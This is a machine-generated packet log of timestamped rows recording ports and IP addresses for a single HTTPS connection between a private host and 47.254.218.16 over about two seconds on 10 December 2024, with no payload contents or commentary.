Dec 10, 2024 12:48:50.990911007 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.990958929 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.996928930 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.996942997 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.996995926 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.997000933 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.997045040 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.002444029 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.002481937 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.002532005 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.002537966 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.002584934 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.008377075 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.008393049 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.008440971 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.008445978 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.008614063 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.014357090 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.014373064 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.014417887 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.014424086 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.014491081 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.165730000 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.165749073 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.165849924 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.165874004 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.165918112 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.171801090 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.171818018 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.171890020 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.171907902 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.171967983 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.177486897 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.177501917 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.177560091 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.177577972 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.177624941 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.183048010 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.183063030 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.183119059 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.183134079 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.183175087 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.189086914 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.189100981 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.189161062 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.189177990 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.189223051 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.194658041 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.194673061 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.194791079 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.194803953 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.194854021 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.198822021 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.200764894 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.200779915 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.200826883 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.200838089 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.200879097 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.205852985 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.205868006 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.205923080 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.205931902 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.205966949 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.358026981 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.358046055 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.358155966 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.358177900 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.358254910 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.364038944 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.364053965 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.364116907 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.364123106 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.364192009 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.369348049 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.369363070 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.369426012 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.369431973 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.369501114 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.375874043 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.375889063 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.375950098 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.375953913 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.376003027 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.381719112 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.381735086 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.381817102 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.381823063 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.381867886 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.387628078 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.387643099 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.387710094 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.387716055 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.387754917 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.393371105 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.393383980 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.393445015 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.393449068 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.393503904 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.399595022 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.399610043 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.399662971 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.399667978 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.399720907 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.504534006 CET	49680	443	192.168.2.17	20.189.173.13
Dec 10, 2024 12:48:51.540270090 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.550228119 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.550247908 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.550348997 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.550355911 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.550403118 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.556240082 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.556255102 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.556313038 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.556317091 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.556361914 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.562114954 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.562129974 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.562208891 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.562215090 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.562262058 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.567378044 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.567395926 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.567454100 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.567459106 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.567518950 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.573697090 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.573713064 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.573781013 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.573786974 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.573827028 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.578962088 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.578978062 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.579045057 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.579058886 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.579107046 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.584995031 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.585010052 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.585067987 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.585083008 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.585120916 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.590930939 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.590946913 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.591012955 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.591018915 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.591059923 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.742635012 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.742661953 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.742723942 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.742741108 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.742780924 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.748183966 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.748200893 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.748255014 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.748260975 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.748303890 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.754323959 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.754339933 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.754396915 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.754403114 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.754439116 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.761498928 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.761516094 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.761567116 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.761570930 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.761625051 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.766729116 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.766745090 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.766796112 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.766802073 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.766850948 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.771471024 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.771486044 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.771538019 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.771543980 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.771594048 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.777055025 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.777070999 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.777126074 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.777132034 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.777174950 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.782958031 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.782974005 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.783030987 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.783035040 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.783078909 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.786015987 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.935127974 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.935152054 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.935221910 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.935236931 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.935286999 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.940337896 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.940352917 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.940407991 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.940413952 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.940457106 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.946278095 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.946294069 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.946373940 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.946377993 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.946419954 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.952362061 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.952378988 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.952430010 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.952435970 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.952497959 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.957890987 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.957906008 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.957961082 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.957966089 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.958012104 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.964021921 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.964036942 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.964091063 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.964096069 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.964163065 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.969726086 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.969743013 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.969805956 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.969810963 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.969860077 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.975389957 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.975406885 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.975475073 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:51.975480080 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:51.975528955 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.127250910 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.127269983 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.127327919 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.127336025 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.127386093 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.132484913 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.132500887 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.132551908 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.132559061 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.132602930 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.138569117 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.138585091 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.138638020 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.138643980 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.138686895 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.144500017 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.144537926 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.144593954 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.144598961 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.144644022 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.150449038 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.150469065 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.150520086 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.150526047 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.150568008 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.157201052 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.157216072 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.157268047 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.157274008 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.157318115 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.162230968 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.162245989 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.162302971 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.162308931 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.162352085 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.167960882 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.167978048 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.168030977 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.168035984 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.168080091 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.175893068 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.319583893 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.319600105 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.319674015 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.319680929 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.319746017 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.324780941 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.324795961 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.324863911 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.324870110 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.324918985 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.330696106 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.330712080 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.330781937 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.330786943 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.330833912 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.336937904 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.336951017 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.337023973 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.337029934 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.337075949 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.344701052 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.344715118 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.344773054 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.344779015 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.344825029 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.348902941 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.348916054 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.348978996 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.348984957 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.349028111 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.354058027 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.354073048 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.354137897 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.354144096 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.354190111 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.359524012 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.359544039 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.359603882 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.359611034 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.359644890 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.513216972 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.513233900 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.513305902 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.513314009 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.513354063 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.517352104 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.517365932 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.517422915 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.517426968 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.517465115 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.523319006 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.523334980 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.523403883 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.523408890 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.523448944 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.529275894 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.529289007 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.529344082 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.529349089 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.529393911 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.534871101 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.534884930 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.534943104 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.534949064 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.534992933 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.540879965 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.540893078 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.540951014 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.540956020 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.541018009 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.547683001 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.547698021 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.547769070 CET	49729	443	192.168.2.17	47.254.218.16
